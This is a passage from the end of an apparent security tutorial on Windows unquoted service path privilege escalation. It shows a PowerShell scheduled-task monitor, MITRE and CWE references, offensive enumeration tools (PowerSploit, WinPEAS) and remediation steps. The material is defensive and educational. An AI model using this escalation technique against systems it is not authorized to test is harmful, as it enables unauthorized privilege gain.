$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "UnquotedServiceMonitor" `
-Action $action `
-Trigger $trigger `
-Principal $principal `
-Description "Monitors for unquoted service paths and alerts security team"References
MITRE ATT&CK Techniques
- T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path - Primary exploitation technique
- T1574 - Hijack Execution Flow - Parent technique for execution hijacking
- T1543.003 - Create or Modify System Process: Windows Service - Service manipulation
- T1068 - Exploitation for Privilege Escalation - General privilege escalation
Common Weakness Enumeration
- CWE-428 - Unquoted Search Path or Element - Primary weakness
- CWE-426 - Untrusted Search Path - Related path vulnerabilities
- CWE-269 - Improper Privilege Management - Privilege escalation context
Microsoft Documentation
- Microsoft: Service Security and Access Rights - Service ACLs
- Microsoft: Securing Windows Services - Service hardening
Security Resources
- OWASP: Unquoted Service Path - Vulnerability overview
- PowerSploit - Get-ServiceUnquoted enumeration
- WinPEAS - Automated service enumeration
Next Steps
After exploiting unquoted service paths:
- Document all vulnerable services found during assessment
- Prioritize remediation based on service privileges and accessibility
- Implement automated scanning to detect new vulnerable services
- Review deployment procedures to prevent future misconfigurations
- Explore related Windows privilege escalation techniques:
Takeaway: Unquoted service path vulnerabilities remain surprisingly common in enterprise environments despite being well-documented. The combination of regular automated scanning, secure deployment practices, file system permission hardening, and continuous monitoring provides effective defense against this privilege escalation vector. Make service path security a mandatory component of your Windows deployment and change management processes.
Last updated on